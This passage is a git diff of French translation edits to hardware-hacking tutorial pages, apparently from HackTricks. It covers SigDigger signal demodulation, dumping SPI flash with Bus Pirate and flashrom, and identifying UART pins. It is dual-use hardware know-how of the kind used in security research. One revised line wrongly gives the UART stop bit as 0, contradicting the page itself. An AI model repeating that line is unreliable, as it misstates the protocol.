signal** dont vous avez besoin). +* Le **Syntoniseur** de SigDigger aide à **capturer de meilleurs signaux** (mais peut aussi les dégrader). Idéalement, commencez par 0 et continuez à **l'augmenter jusqu'à** ce que vous trouviez que le **bruit** introduit est **plus important** que l'**amélioration du signal** dont vous avez besoin). ![](<../../.gitbook/assets/image (658).png>) -### Synchroniser avec le canal radio +### Synchronisation avec le canal radio -Avec [**SigDigger**](https://github.com/BatchDrake/SigDigger) synchronisez avec le canal que vous souhaitez entendre, configurez l'option "Aperçu audio de base", configurez la bande passante pour obtenir toutes les informations envoyées, puis réglez le Tuner au niveau avant que le bruit ne commence vraiment à augmenter : +Avec [**SigDigger** ](https://github.com/BatchDrake/SigDigger) synchronisez-vous avec le canal que vous souhaitez écouter, configurez l'option "Aperçu audio de la bande de base", configurez la bande passante pour obtenir toutes les informations envoyées, puis réglez le Syntoniseur au niveau avant que le bruit ne commence vraiment à augmenter : ![](<../../.gitbook/assets/image (389).png>) ## Astuces intéressantes -* Lorsqu'un dispositif envoie des rafales d'informations, généralement la **première partie va être un préambule** donc vous **n'avez pas à vous inquiéter** si vous **ne trouvez pas d'informations** là ou s'il y a des **erreurs**. -* Dans les trames d'informations, vous devriez généralement **trouver différentes trames bien alignées entre elles** : +* Lorsqu'un appareil envoie des rafales d'informations, généralement la **première partie sera un préambule** donc vous **n'avez pas besoin de vous inquiéter** si vous **ne trouvez pas d'informations** là-dedans **ou s'il y a des erreurs**. +* Dans les trames d'informations, vous devriez **trouver des trames différentes bien alignées entre elles** : ![](<../../.gitbook/assets/image (660) (1).png>) ![](<../../.gitbook/assets/image (652) (1) (1).png>) -* **Après avoir récupéré les bits, vous pourriez avoir besoin de les traiter d'une certaine manière**. Par exemple, dans la codification de Manchester, un haut+bas sera un 1 ou un 0 et un bas+haut sera l'autre. Ainsi, des paires de 1 et de 0 (hauts et bas) seront un vrai 1 ou un vrai 0. -* Même si un signal utilise la codification de Manchester (il est impossible de trouver plus de deux 0 ou 1 de suite), vous pourriez **trouver plusieurs 1 ou 0 ensemble dans le préambule** ! +* **Après avoir récupéré les bits, vous devrez peut-être les traiter d'une certaine manière**. Par exemple, dans la codification Manchester, un haut + bas sera un 1 ou 0 et un bas + haut sera l'autre. Ainsi, les paires de 1 et 0 (hauts et bas) seront un vrai 1 ou un vrai 0. +* Même si un signal utilise la codification Manchester (il est impossible de trouver plus de deux 0 ou 1 consécutifs), vous pourriez **trouver plusieurs 1 ou 0 ensemble dans le préambule**! -### Découvrir le type de modulation avec IQ +### Découverte du type de modulation avec IQ -Il y a 3 façons de stocker des informations dans les signaux : Moduler l'**amplitude**, la **fréquence** ou la **phase**.\ -Si vous analysez un signal, il existe différentes façons d'essayer de déterminer ce qui est utilisé pour stocker des informations (trouvez plus de méthodes ci-dessous), mais une bonne méthode est de vérifier le graphique IQ. +Il existe 3 façons de stocker des informations dans les signaux : en modulant l'**amplitude**, la **fréquence** ou la **phase**.\ +Si vous vérifiez un signal, il existe différentes façons d'essayer de comprendre ce qui est utilisé pour stocker les informations (trouvez plus de façons ci-dessous), mais une bonne méthode est de vérifier le graphique IQ. ![](<../../.gitbook/assets/image (630).png>) -* **Détecter AM** : Si dans le graphique IQ apparaissent par exemple **2 cercles** (probablement un à 0 et l'autre à une amplitude différente), cela pourrait signifier qu'il s'agit d'un signal AM. Cela est dû au fait que dans le graphique IQ, la distance entre le 0 et le cercle est l'amplitude du signal, il est donc facile de visualiser différentes amplitudes utilisées. -* **Détecter PM** : Comme dans l'image précédente, si vous trouvez de petits cercles non reliés entre eux, cela signifie probablement qu'une modulation de phase est utilisée. Cela est dû au fait que dans le graphique IQ, l'angle entre le point et le 0,0 est la phase du signal, ce qui signifie que 4 phases différentes sont utilisées. -* Notez que si l'information est cachée dans le fait qu'une phase est changée et non dans la phase elle-même, vous ne verrez pas différentes phases clairement différenciées. -* **Détecter FM** : IQ n'a pas de champ pour identifier les fréquences (la distance au centre est l'amplitude et l'angle est la phase).\ -Par conséquent, pour identifier FM, vous devriez **voir essentiellement un cercle** dans ce graphique.\ -De plus, une fréquence différente est "représentée" par le graphique IQ par une **accélération de la vitesse à travers le cercle** (donc dans SysDigger en sélectionnant le signal, le graphique IQ est peuplé, si vous trouvez une accélération ou un changement de direction dans le cercle créé, cela pourrait signifier que c'est FM) : +* **Détection de l'AM** : Si dans le graphique IQ apparaissent par exemple **2 cercles** (probablement un à 0 et l'autre à une amplitude différente), cela pourrait signifier qu'il s'agit d'un signal AM. C'est parce que dans le graphique IQ, la distance entre le 0 et le cercle est l'amplitude du signal, il est donc facile de visualiser différentes amplitudes utilisées. +* **Détection de la PM** : Comme dans l'image précédente, si vous trouvez de petits cercles non liés entre eux, cela signifie probablement qu'une modulation de phase est utilisée. C'est parce que dans le graphique IQ, l'angle entre le point et le 0,0 est la phase du signal, ce qui signifie que 4 phases différentes sont utilisées. +* Notez que si l'information est cachée dans le fait qu'une phase est modifiée et non dans la phase elle-même, vous ne verrez pas clairement des phases différentes différenciées. +* **Détection de la FM** : IQ n'a pas de champ pour identifier les fréquences (la distance au centre est l'amplitude et l'angle est la phase).\ +Par conséquent, pour identifier la FM, vous devriez **voir essentiellement un cercle** dans ce graphique.\ +De plus, une fréquence différente est "représentée" par le graphique IQ par une **accélération de vitesse à travers le cercle** (donc dans SysDigger en sélectionnant le signal, le graphique IQ est peuplé, si vous trouvez une accélération ou un changement de direction dans le cercle créé, cela pourrait signifier que c'est de la FM) : -## Exemple AM +## Exemple d'AM {% file src="../../.gitbook/assets/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %} -### Découvrir AM +### Découverte de l'AM -#### Vérifier l'enveloppe +#### Vérification de l'enveloppe -Vérifier les informations AM avec [**SigDigger**](https://github.com/BatchDrake/SigDigger) et en regardant simplement l'**enveloppe**, vous pouvez voir différents niveaux d'amplitude clairs. Le signal utilisé envoie des impulsions avec des informations en AM, voici à quoi ressemble une impulsion : +En vérifiant les informations AM avec [**SigDigger** ](https://github.com/BatchDrake/SigDigger) et en regardant simplement l'**enveloppe**, vous pouvez voir différents niveaux d'amplitude clairs. Le signal utilisé envoie des impulsions avec des informations en AM, voici à quoi ressemble une impulsion : ![](<../../.gitbook/assets/image (636).png>) @@ -91,129 +91,127 @@ Et voici à quoi ressemble une partie du symbole avec la forme d'onde : ![](<../../.gitbook/assets/image (650) (1).png>) -#### Vérifier l'histogramme +#### Vérification de l'histogramme -Vous pouvez **sélectionner l'ensemble du signal** où se trouvent les informations, sélectionner le mode **Amplitude** et **Sélection** et cliquer sur **Histogramme**. Vous pouvez observer que seuls 2 niveaux clairs sont trouvés +Vous pouvez **sélectionner tout le signal** où se trouvent les informations, sélectionner le mode **Amplitude** et **Sélection** et cliquer sur **Histogramme**. Vous pouvez observer que seuls 2 niveaux clairs sont trouvés ![](<../../.gitbook/assets/image (647) (1) (1).png>) -Par exemple, si vous sélectionnez Fréquence au lieu d'Amplitude dans ce signal AM, vous ne trouvez qu'une fréquence (aucune information modulée en fréquence n'utilise qu'une seule fréq). +Par exemple, si vous sélectionnez la Fréquence au lieu de l'Amplitude dans ce signal AM, vous ne trouverez qu'une seule fréquence (aucune information modulée en fréquence n'utilise qu'une seule fréquence). ![](<../../.gitbook/assets/image (637) (1) (1).png>) -Si vous trouvez beaucoup de fréquences, potentiellement ce ne sera pas un FM, probablement la fréquence du signal a juste été modifiée à cause du canal. +Si vous trouvez beaucoup de fréquences, potentiellement ce ne sera pas de la FM, probablement la fréquence du signal a simplement été modifiée à cause du canal. #### Avec IQ -Dans cet exemple, vous pouvez voir comment il y a un **grand cercle** mais aussi **beaucoup de points au centre**. +Dans cet exemple, vous pouvez voir qu'il y a un **grand cercle** mais aussi **beaucoup de points au centre**. ![](<../../.gitbook/assets/image (640).png>) -### Obtenir le taux de symboles +### Obtenir le débit de symboles #### Avec un symbole -Sélectionnez le plus petit symbole que vous pouvez trouver (pour être sûr qu'il n'y en a qu'un) et vérifiez la "fréquence de sélection". Dans ce cas, ce serait 1.013kHz (donc 1kHz). +Sélectionnez le plus petit symbole que vous pouvez trouver (pour être sûr qu'il n'y en a qu'un) et vérifiez la "Fréquence de sélection". Dans ce cas, ce serait 1,013 kHz (donc 1 kHz). ![](<../../.gitbook/assets/image (638) (1).png>) #### Avec un groupe de symboles -Vous pouvez également indiquer le nombre de symboles que vous allez sélectionner et SigDigger calculera la fréquence d'un symbole (plus vous sélectionnez de symboles, mieux c'est probablement). Dans ce scénario, j'ai sélectionné 10 symboles et la "fréquence de sélection" est de 1.004 Khz : +Vous pouvez également indiquer le nombre de symboles que vous allez sélectionner et SigDigger calculera la fréquence d'1 symbole (plus vous sélectionnez de symboles, mieux c'est probablement). Dans ce scénario, j'ai sélectionné 10 symboles et la "Fréquence de sélection" est de 1,004 kHz : ![](<../../.gitbook/assets/image (635).png>) ### Obtenir les bits -Ayant trouvé qu'il s'agit d'un signal **modulé en AM** et le **taux de symboles** (et sachant que dans ce cas quelque chose en haut signifie 1 et quelque chose en bas signifie 0), il est très facile d'**obtenir les bits** encodés dans le signal. Donc, sélectionnez le signal avec info et configurez l'échantillonnage et la décision et appuyez sur échantillon (vérifiez que **Amplitude** est sélectionné, le **taux de symboles découvert** est configuré et la **récupération d'horloge Gadner** est sélectionnée) : +Ayant trouvé que c'est un signal **modulé en AM** et le **débit de symboles** (et sachant que dans ce cas quelque chose en haut signifie 1 et quelque chose en bas signifie 0), il est très facile d'**obtenir les bits** encodés dans le signal. Ainsi, sélectionnez le signal avec les informations et configurez l'échantillonnage et la décision, puis appuyez sur l'échantillon (vérifiez que l'**Amplitude** est sélectionnée, le **débit de symboles** découvert est configuré et la **récupération de l'horloge de Gadner** est sélectionnée) : ![](<../../.gitbook/assets/image (642) (1).png>) -* **Synchroniser avec les intervalles de sélection** signifie que si vous avez précédemment sélectionné des intervalles pour trouver le taux de symboles, ce taux de symboles sera utilisé. -* **Manuel** signifie que le taux de symboles indiqué va être utilisé -* Dans **Sélection d'intervalle fixe**, vous indiquez le nombre d'intervalles qui doivent être sélectionnés et il calcule le taux de symboles à partir de cela -* **La récupération d'horloge Gadner** est généralement la meilleure option, mais vous devez toujours indiquer un taux de symboles approximatif. +* **Synchroniser avec les intervalles de sélection** signifie que si vous avez précédemment sélectionné des intervalles pour trouver le débit de symboles, ce débit de symboles sera utilisé. +* **Manuel** signifie que le débit de symboles indiqué va être utilisé +* Dans **Sélection d'intervalle fixe**, vous indiquez le nombre d'intervalles qui doivent être sélectionnés et il calcule le débit de symboles à partir de cela +* **Récupération de l'horloge de Gadner** est généralement la meilleure option, mais vous devez quand même indiquer un débit de symboles approximatif. -En appuyant sur échantillon, cela apparaît : +En appuyant sur l'échantillon, cela apparaît : ![](<../../.gitbook/assets/image (659).png>) -Maintenant, pour faire comprendre à SigDigger **où se trouve la plage** du niveau portant l'information, vous devez cliquer sur le **niveau inférieur** et maintenir cliqué jusqu'au niveau le plus élevé : +Maintenant, pour que SigDigger comprenne **où se situe la plage** du niveau portant les informations, vous devez cliquer sur le **niveau le plus bas** et maintenir cliqué jusqu'au plus grand niveau : ![](<../../.gitbook/assets/image (662) (1) (1) (1).png>) -S'il y avait eu par exemple **4 niveaux d'amplitude différents**, vous auriez dû configurer les **Bits par symbole à 2** et sélectionner du plus petit au plus grand. +S'il y avait par exemple **4 niveaux d'amplitude différents**, vous auriez dû configurer les **Bits par symbole à 2** et sélectionner du plus petit au plus grand. -Finalement, en **augmentant** le **Zoom** et en **changeant la taille de la ligne**, vous pouvez voir les bits (et vous pouvez tout sélectionner et copier pour obtenir tous les bits) : +Enfin, en **augmentant** le **Zoom** et en **changeant la taille de la ligne**, vous pouvez voir les bits (et vous pouvez tout sélectionner et copier pour obtenir tous les bits) : ![](<../../.gitbook/assets/image (649) (1).png>) -Si le signal a plus d'1 bit par symbole (par exemple 2), SigDigger **ne peut pas savoir quel symbole est** 00, 01, 10, 11, donc il utilisera différentes **échelles de gris** pour les représenter (et si vous copiez les bits, il utilisera des **nombres de 0 à 3**, vous devrez les traiter). +Si le signal a plus d'1 bit par symbole (par exemple 2), SigDigger n'a **aucun moyen de savoir quel symbole est** 00, 01, 10, 11, il utilisera donc différentes **nuances de gris** pour représenter chacun (et si vous copiez les bits, il utilisera des **nombres de 0 à 3**, vous devrez les traiter). -De plus, utilisez des **codifications** telles que **Manchester**, et un **haut+bas** peut être **1 ou 0** et un bas+haut peut être un 1 ou un 0. Dans ces cas, vous devez **traiter les hauts (1) et les bas (0) obtenus** pour substituer les paires de 01 ou 10 par des 0 ou des 1. +Utilisez également des **codifications** telles que **Manchester**, et **haut+bas** peut être **1 ou 0** et un bas+haut peut être un 1 ou 0. Dans ces cas, vous devez **traiter les hauts (1) et les bas (0)** obtenus pour substituer les paires de 01 ou 10 en tant que 0 ou 1. -## Exemple FM +## Exemple de FM {% file src="../../.gitbook/assets/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %} -### Découvrir FM +### Découverte de la FM -#### Vérifier les fréquences et la forme d'onde +#### Vérification des fréquences et de la forme d'onde Exemple de signal envoyant des informations modulées en FM : ![](<../../.gitbook/assets/image (661) (1).png>) -Dans l'image précédente, vous pouvez observer assez bien que **2 fréquences sont utilisées** mais si vous **observez** la **forme d'onde**, vous pourriez **ne pas être capable d'identifier correctement les 2 différentes fréquences** : +Dans l'image précédente, vous pouvez observer assez clairement que **2 fréquences sont utilisées**, mais si vous **observez** la **forme d'onde**, vous pourriez **ne pas être en mesure d'identifier correctement les 2 fréquences différentes** : ![](<../../.gitbook/assets/image (653).png>) -C'est parce que j'ai capturé le signal dans les deux fréquences, donc l'une est approximativement l'autre en négatif : +Cela est dû au fait que j'ai capturé le signal dans les deux fréquences, donc l'une est approximativement l'opposée de l'autre : ![](<../../.gitbook/assets/image (656).png>) -Si la fréquence synchronisée est **plus proche d'une fréquence que de l'autre**, vous pouvez facilement voir les 2 différentes fréquences : +Si la fréquence synchronisée est **plus proche d'une fréquence que de l'autre**, vous pouvez facilement voir les 2 fréquences différentes : ![](<../../.gitbook/assets/image (648) (1) (1) (1).png>) ![](<../../.gitbook/assets/image (634).png>) -#### Vérifier l'histogramme +#### Vérification de l'histogramme En vérifiant l'histogramme de fréquence du signal avec des informations, vous pouvez facilement voir 2 signaux différents : ![](<../../.gitbook/assets/image (657).png>) -Dans ce cas, si vous vérifiez l'**histogramme d'Amplitude**, vous trouverez **une seule amplitude**, donc cela **ne peut pas être AM** (si vous trouvez beaucoup d'amplitudes, cela pourrait être parce que le signal a perdu de la puissance le long du canal) : +Dans ce cas, si vous vérifiez l'**histogramme d'amplitude**, vous ne trouverez **qu'une seule amplitude**, donc ce **ne peut pas être de l'AM** (si vous trouvez beaucoup d'amplitudes, cela pourrait être parce que le signal a perdu de la puissance le long du canal) : ![](<../../.gitbook/assets/image (646).png>) -Et ceci serait l'histogramme de phase (qui rend très clair que le signal n'est pas modulé en phase) : +Et voici l'histogramme de phase (ce qui montre très clairement que le signal n'est pas modulé en phase) : ![](<../../.gitbook/assets/image (201) (2).png>) #### Avec IQ IQ n'a pas de champ pour identifier les fréquences (la distance au centre est l'amplitude et l'angle est la phase).\ -Par conséquent, pour identifier FM, vous devriez **voir essentiellement un cercle** dans ce graphique.\ -De plus, une fréquence différente est "représentée" par le graphique IQ par une **accélération de la vitesse à travers le cercle** (donc dans SysDigger en sélectionnant le signal, le graphique IQ est peuplé, si vous trouvez une accélération ou un changement de direction dans le cercle créé, cela pourrait signifier que c'est FM) : +Par conséquent, pour identifier la FM, vous devriez **voir essentiellement un cercle** dans ce graphique.\ +De plus, une fréquence différente est "représentée" par le graphique IQ par une **accélération de vitesse à travers le cercle** (donc dans SysDigger en sélectionnant le signal, le graphique IQ est peuplé, si vous trouvez une accélération ou un changement de direction dans le cercle créé, cela pourrait signifier que c'est de la FM) : ![](<../../.gitbook/assets/image (643) (1).png>) -### Obtenir le taux de symboles +### Obtenir le débit de symboles -Vous pouvez utiliser la **même technique que celle utilisée dans l'exemple AM** pour obtenir le taux de symboles une fois que vous avez trouvé les fréquences portant les symboles. +Vous pouvez utiliser la **même technique que celle utilisée dans l'exemple de l'AM** pour obtenir le débit de symboles une fois que vous avez trouvé les fréquences portant les symboles. ### Obtenir les bits -Vous pouvez utiliser la **même technique que celle utilisée dans l'exemple AM** pour obtenir les bits une fois que vous avez **trouvé que le signal est modulé en fréquence** et le **taux de symboles**. +Vous pouvez utiliser la **même technique que celle utilisée dans l'exemple de l'AM** pour obtenir les bits une fois que vous avez **trouvé que le signal est modulé en fréquence** et le **débit de symboles**.
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**]( diff --git a/todo/hardware-hacking/spi.md b/todo/hardware-hacking/spi.md index 081045b52..ee15646cf 100644 --- a/todo/hardware-hacking/spi.md +++ b/todo/hardware-hacking/spi.md @@ -1,27 +1,27 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
# Informations de base -# Extraire Flash +# Dump Flash ## Bus Pirate + flashrom ![](<../../.gitbook/assets/image (201).png>) -Notez que même si le PINOUT du Bus Pirate indique des broches pour **MOSI** et **MISO** à connecter à SPI, certains SPI peuvent indiquer des broches comme DI et DO. **MOSI -> DI, MISO -> DO** +Notez que même si le PINOUT du Pirate Bus indique des broches pour **MOSI** et **MISO** à connecter à SPI, certaines SPI peuvent indiquer les broches comme DI et DO. **MOSI -> DI, MISO -> DO** ![](<../../.gitbook/assets/image (648) (1) (1).png>) @@ -36,14 +36,14 @@ flashrom -VV -c "W25Q64.V" -p buspirate_spi:dev=COM3 -r flash_content.img ```
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/todo/hardware-hacking/uart.md b/todo/hardware-hacking/uart.md index a723bc2d4..fb2e6e82a 100644 --- a/todo/hardware-hacking/uart.md +++ b/todo/hardware-hacking/uart.md @@ -1,52 +1,52 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
# Informations de base -UART est un protocole série, ce qui signifie qu'il transfère les données entre les composants un bit à la fois. En contraste, les protocoles de communication parallèles transmettent les données simultanément à travers de multiples canaux. Les protocoles séries communs incluent RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express et USB. +UART est un protocole série, ce qui signifie qu'il transfère des données entre les composants un bit à la fois. En revanche, les protocoles de communication parallèle transmettent des données simultanément via plusieurs canaux. Les protocoles série courants incluent RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express et USB. -Généralement, la ligne est maintenue haute (à une valeur logique de 1) lorsque UART est en état d'inactivité. Ensuite, pour signaler le début d'un transfert de données, l'émetteur envoie un bit de départ au récepteur, pendant lequel le signal est maintenu bas (à une valeur logique de 0). Après, l'émetteur envoie de cinq à huit bits de données contenant le message réel, suivi d'un bit de parité optionnel et d'un ou deux bits d'arrêt (avec une valeur logique de 1), selon la configuration. Le bit de parité, utilisé pour la vérification d'erreur, est rarement vu en pratique. Le bit d'arrêt (ou les bits) signifie la fin de la transmission. +Généralement, la ligne est maintenue haute (à une valeur logique 1) lorsque l'UART est à l'état inactif. Ensuite, pour signaler le début d'un transfert de données, l'émetteur envoie un bit de démarrage au récepteur, pendant lequel le signal est maintenu bas (à une valeur logique 0). Ensuite, l'émetteur envoie cinq à huit bits de données contenant le message réel, suivi éventuellement d'un bit de parité et d'un ou deux bits d'arrêt (avec une valeur logique 1), selon la configuration. Le bit de parité, utilisé pour la vérification des erreurs, est rarement vu en pratique. Le bit d'arrêt (ou les bits) signifient la fin de la transmission. -Nous appelons la configuration la plus commune 8N1 : huit bits de données, pas de parité et un bit d'arrêt. Par exemple, si nous voulions envoyer le caractère C, ou 0x43 en ASCII, dans une configuration UART 8N1, nous enverrions les bits suivants : 0 (le bit de départ) ; 0, 1, 0, 0, 0, 0, 1, 1 (la valeur de 0x43 en binaire), et 1 (le bit d'arrêt). +Nous appelons la configuration la plus courante 8N1 : huit bits de données, pas de parité et un bit d'arrêt. Par exemple, si nous voulions envoyer le caractère C, ou 0x43 en ASCII, dans une configuration UART 8N1, nous enverrions les bits suivants : 0 (le bit de démarrage) ; 0, 1, 0, 0, 0, 0, 1, 1 (la valeur de 0x43 en binaire), et 0 (le bit d'arrêt). ![](<../../.gitbook/assets/image (648) (1) (1) (1) (1).png>) Outils matériels pour communiquer avec UART : -* Adaptateur USB-vers-série +* Adaptateur USB vers série * Adaptateurs avec les puces CP2102 ou PL2303 -* Outil polyvalent tel que : Bus Pirate, l'Adafruit FT232H, le Shikra, ou le Badge Attify +* Outil polyvalent tel que : Bus Pirate, l'Adafruit FT232H, le Shikra ou le badge Attify ## Identification des ports UART -UART a 4 ports : **TX**(Transmettre), **RX**(Recevoir), **Vcc**(Voltage), et **GND**(Masse). Vous pourriez être capable de trouver 4 ports avec les lettres **`TX`** et **`RX`** **écrites** sur le PCB. Mais s'il n'y a pas d'indication, vous pourriez avoir besoin de les trouver vous-même en utilisant un **multimètre** ou un **analyseur logique**. +UART a 4 ports : **TX** (Transmettre), **RX** (Recevoir), **Vcc** (Tension) et **GND** (Masse). Vous pourriez trouver 4 ports avec les lettres **`TX`** et **`RX`** **écrites** sur le PCB. Mais s'il n'y a pas d'indication, vous pourriez avoir besoin de les trouver vous-même en utilisant un **multimètre** ou un **analyseur logique**. Avec un **multimètre** et l'appareil éteint : -* Pour identifier la broche **GND**, utilisez le mode **Test de Continuité**, placez la sonde noire sur la masse et testez avec la rouge jusqu'à ce que vous entendiez un son du multimètre. Plusieurs broches GND peuvent être trouvées sur le PCB, donc vous pourriez avoir trouvé ou non celle appartenant à UART. -* Pour identifier le port **VCC**, réglez le mode **tension continue** et configurez-le jusqu'à 20 V de tension. Sonde noire sur la masse et sonde rouge sur la broche. Allumez l'appareil. Si le multimètre mesure une tension constante de 3,3 V ou 5 V, vous avez trouvé la broche Vcc. Si vous obtenez d'autres tensions, réessayez avec d'autres ports. -* Pour identifier le port **TX**, mode **tension continue** jusqu'à 20 V de tension, sonde noire sur la masse, et sonde rouge sur la broche, et allumez l'appareil. Si vous trouvez que la tension fluctue pendant quelques secondes puis se stabilise à la valeur Vcc, vous avez très probablement trouvé le port TX. Cela est dû au fait qu'au démarrage, il envoie des données de débogage. -* Le port **RX** serait le plus proche des 3 autres, il a la fluctuation de tension la plus faible et la valeur globale la plus basse de toutes les broches UART. +* Pour identifier la broche **GND**, utilisez le mode **Test de continuité**, placez la sonde noire dans la masse et testez avec la sonde rouge jusqu'à ce que vous entendiez un son du multimètre. Plusieurs broches GND peuvent être trouvées sur le PCB, donc vous pourriez avoir trouvé ou non celle appartenant à UART. +* Pour identifier la broche **VCC**, réglez le mode **tension continue** et réglez-le sur 20 V de tension. Sonde noire sur la masse et sonde rouge sur la broche. Allumez l'appareil. Si le multimètre mesure une tension constante de 3,3 V ou 5 V, vous avez trouvé la broche Vcc. Si vous obtenez d'autres tensions, réessayez avec d'autres ports. +* Pour identifier la broche **TX**, mode **tension continue** jusqu'à 20 V de tension, sonde noire sur la masse et sonde rouge sur la broche, et allumez l'appareil. Si vous trouvez que la tension fluctue pendant quelques secondes puis se stabilise à la valeur Vcc, vous avez probablement trouvé la broche TX. C'est parce qu'en s'allumant, il envoie quelques données de débogage. +* La broche **RX** serait la plus proche des trois autres, elle a la plus faible fluctuation de tension et la valeur globale la plus basse de toutes les broches UART. -Vous pouvez confondre les ports TX et RX et rien ne se passerait, mais si vous confondez les ports GND et VCC, vous pourriez griller le circuit. +Vous pouvez confondre les broches TX et RX et rien ne se passera, mais si vous confondez la masse et la broche VCC, vous pourriez endommager le circuit. Avec 